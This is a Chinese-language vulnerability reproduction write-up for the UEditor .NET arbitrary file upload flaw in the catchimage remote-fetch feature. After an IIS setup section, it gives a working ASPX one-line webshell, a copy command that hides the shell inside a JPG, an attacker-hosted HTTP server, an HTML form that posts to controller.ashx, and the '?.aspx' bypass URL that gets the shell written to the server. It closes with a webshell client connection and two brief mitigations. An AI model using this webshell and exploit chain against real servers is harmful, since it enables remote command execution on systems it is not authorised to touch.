一、漏洞描述

UEditor是一款所见即所得的开源富文本编辑器,具有轻量、可定制、用户体验优秀等特点,被广大WEB应用程序所使用。本次爆出的高危漏洞属于.NET版本,其它的版本暂时不受影响。漏洞成因是在抓取远程数据源的时候未对文件后缀名做验证导致任意文件写入漏洞,黑客利用此漏洞可以在服务器上执行任意指令,综合评级高危。

二、影响范围

该漏洞影响UEditor的.Net版本,其它语言版本暂时未受影响。

三、漏洞原理

漏洞的成因是在获取图片资源时仅检查了Content-Type,导致可以绕过达到任意文件上传。具体的漏洞分析可参考:https://www.freebuf.com/vuls/181814.html

四、漏洞复现

1、环境部署

准备一台Windows Server服务器,我用的是Windows 2008 Server。

没有安装.NET Framework 4.0的要先安装:http://www.microsoft.com/zh-cn/download/details.aspx?id=17718

安装完 .NET Framework 4.0 后,还需要向 IIS 注册应用程序池,注册的方法是,使用管理员权限打开命令提示符(CMD),输入以下命令:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis -i

安装完毕后,在 IIS 管理器刷新就能看到 4.0 的应用程序池。

img

https://github.com/fex-team/ueditor/releases/tag/v1.4.3.3 下载utf8的.net版本

img

右键 网站–添加网站,选择下载的Ueditor目录, 选择版本为 4.0 的应用程序池;点击连接为,设置特定用户,该特定用户为主机上存在的用户例如administrator

img

img

此时访问127.0.0.1:8080已经有Ueditor的界面了

img

代码要求以应用程序的形式来运行(可以方便加入库依赖和组织代码)。所以需要把 net 目录转换为应用程序;点击连接为,设置特定用户,该特定用户为主机上存在的用户例如administrator

img

img

访问net/controller.ashx 控制器文件,出现以下界面说明编辑器应用程序运行成功,且漏洞存在,到此配置完毕。

img

如果配置过程中访问页面显示权限不够的报错,那么右键部署项目的文件夹,选择属性,选择安全,增加Everyone用户,将该用户的权限设置为完全控制,点击确定,重新部署即可。

img

2、攻击流程

访问http://ip:port/net/controller.ashx 控制器文件。当出现下图的时候表示漏洞存在

img

准备一个aspx一句话木马

<% @Page Language="Jscript"%><%eval(Request.Item["w01ke"],"unsafe");%>

制作图片马

copy w01ke.jpg /b + shell.aspx /a ueditor.jpg

img

准备一台服务器存放图片马或者需要上传的文件,将做好的ueditor.jpg图片马上传到我们的服务器,并开启下载服务(HTTP)

python -m SimpleHTTPServer 8080

img

制作一个HTML。因为不是上传漏洞所以enctype 不需要指定为multipart/form-data。

<form action="http://xxxxx/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded"  method="POST">
<p>shell addr: <input type="text" name="source[]" /></p >
<input type="submit" value="Submit" />
</form>

其中http://xx.com 为需要测试的网站地址,action后填写路径为实际中遇到的路径,不要太死板,如果太死板不按网站的实际路径来就会出现路径找不到的错误

打开我们做好的HTML,shell addr 处填写服务器上图片马地址,构造成以下格式,绕过上传使其解析为 aspx

http://xxxx/ueditor.jpg?.aspx

img

点击submit,直接显示无效URL

img

经过排查,发现不能用Python开启web的方式,貌似只能用域名的形式(我不确定),我只好把我的图片马上传至云服务器,然后修改访问域名即可成功,同时回显了木马路径

img

使用蚁剑连接:

img

五、防御措施

  1. 修改CrawlerHandler.cs 增加对文件扩展名的;
  2. IPS等防御产品可以加入相应的特征